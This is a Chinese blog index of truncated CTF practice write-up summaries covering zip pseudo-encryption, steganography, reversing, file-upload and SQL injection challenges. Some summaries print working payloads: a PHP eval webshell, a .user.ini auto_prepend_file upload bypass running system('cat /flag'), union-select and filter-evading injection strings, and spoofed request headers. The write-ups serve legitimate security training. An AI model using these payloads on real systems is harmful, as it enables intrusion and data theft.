随笔分类 - CTF刷题记录
摘要:搜索http数据包 发现一个post提交的数据,右键追踪流 根据题目提示 账号和密码串在一起再md5哈希 拼接用户名密码得到adminaadminb 使用md5处理后得到1d240aafe21a86afc11f38a45b541a49 flag{1d240aafe21a86afc11f38a45b5
阅读全文
摘要:首先解压后打开,foremostlrb出来了一个zip,明显伪加密 老规矩,09变00 解压后出来个flag.vmdk.拖到kali里解压 解压出了四个文件 一开始我的这四个文件都是没有权限打开的,因为我也不会,稀里糊涂搞了两个多小时无果,然后问了大佬 chmod -R 777 文件名 这个是改文件
阅读全文
摘要:打开之后,直接formostlrb 我们打开压缩包看到asd文件下还有图片和qwe压缩包、 伪加密,01变00 出来解压 我们打开kali,然后将这张图片拖到kali中,使用steghide工具 得到压缩包密码 解压同文件下的压缩包 复制一下,就是qwe.zip的密码,打开我们获得flag. fla
阅读全文
摘要:首先打开之后是一个py文件,本地跑一下,出错 显示说, 源码为: import hashlib for i in range(32,127): for j in range(32,127): for k in range(32,127): m=hashlib.md5() m.update('TASC
阅读全文
摘要:进入之后 然后我们看到了一个if if(isset($text)&&(file_get_contents($text,'r') "welcome to the zjctf")) 要求text不为空,并且file_get_contents($text,'r') "welcome to the zjct
阅读全文
摘要:响应头里发现sql语句 select * from 'admin' where password=md5($pass,true) 看了大佬博客,这个可以用ffifdyop绕过,绕过原理是:ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9e
阅读全文
摘要:看search.php 发现了一串base,先base32 再base64 然后我们还是像之前一样,确定一下列数: name=1' union select 1,2,3,4 %23 &pw=123 这样的话就报错了,然后再把4删掉,成功显示,这便确定了是3列 name=1' union select
阅读全文
摘要:将其等宽高
阅读全文
摘要:打开之后猜测是伪加密 09 变 00解压 发现是png的图片,没有文件头,添加89 50 4E 47 保存改后缀,查看 16进制转换得flag BJD{y1ngzuishuai}
阅读全文
摘要:首先添加上传一个.user.ini GIF89a auto_prepend_file=a.jpg 再添加上传一个a.jpg GIF89a <script language='php'>system('cat /flag')</script> 在这里可以看到 uploads/33c6f8457bd77
阅读全文
摘要:这个题我有两个思路。 1.绕过前端Js验证,phtml拓展名的应用 首先打开之后,写一个phtml文件 GIF89a <script language="php">eval($_POST['shell']);</script> 发现不允许上传phtml文件 猜想有js验证 F12查看 果然,将其删除
阅读全文
摘要:打开之后啥信息都没有 题目的提示是backupFile备份文件 备份文件一般的后缀名为 .rar .zip .7z .tar.gz .bak .swp .txt .html .bak可以用dirsearch 扫 链接: dirsearch. 使用,试了很多备份文件,这里的备份文件是index.php
阅读全文
摘要:发现让我们上传文件, 首先在桌面创建一个y.phtml的文件,内容为 GIF89a <script language="php">eval($_POST['shell']);</script> 然后我们将它上传,提交时使用bp截取,修改一下格式,再放行 我们使用蚁剑连接,猜测路径为upload 完整
阅读全文
摘要:发现有一个php 访问 发现这里需要在http报头里加上一个Referer 于是伪造Referer: https://www.Sycsecret.com 这里需要使用"Syclover"浏览器,即User-Agent头为Syclover 修改发包 发现他让我本地访问,这里加入一个X-Forwarde
阅读全文
摘要:拖到APKIDE 搜索flag,得到flag
阅读全文
摘要:发现有个UPX的壳儿,拖到OD 看到个显眼的popad,点第一个断点jmp 用自带工具脱壳儿 保存之后拖到ida, 明显flag{HappyNewYear!}
阅读全文
摘要:进入ida跟进伪代码 看到了个flag,肯定不是 转换为字符,发现 把刚刚那一串flag里面的i和r替换成1 flag{hack1ng_fo1_fun}
阅读全文
摘要:下载将exe文件拖到ida shift+F12, 发现了这个,双击跟进, 然后选中在双击 光标选中之后F5查看伪代码 发现这个应该是将ASCII为111 的替换为 48,查询后是o换成0 这里发现是str1接受flag 然后将Str1与Str2进行比较,如果相等就this is the right
阅读全文
摘要:首先万能密码注入 然后换个用户名注入查询 ?username=1' order by 4%23&password=1 因为在url里输入的,所以,要把# 换成%23 发现最多3个字段 ?username=1' union select 1,2,group_concat(table_name) fro
阅读全文
摘要:打开之后,尝试登录注入没啥用,发现or被过滤了,联合查询,union select 也被过滤了。 ?username=1' uniunionon selselectect 1,2,3%23 &password=123 双写被过滤的关键字注入查询 然后直接爆数据库,发现被过滤了很多关键字,直接双写 ?
阅读全文

浙公网安备 33010602011771号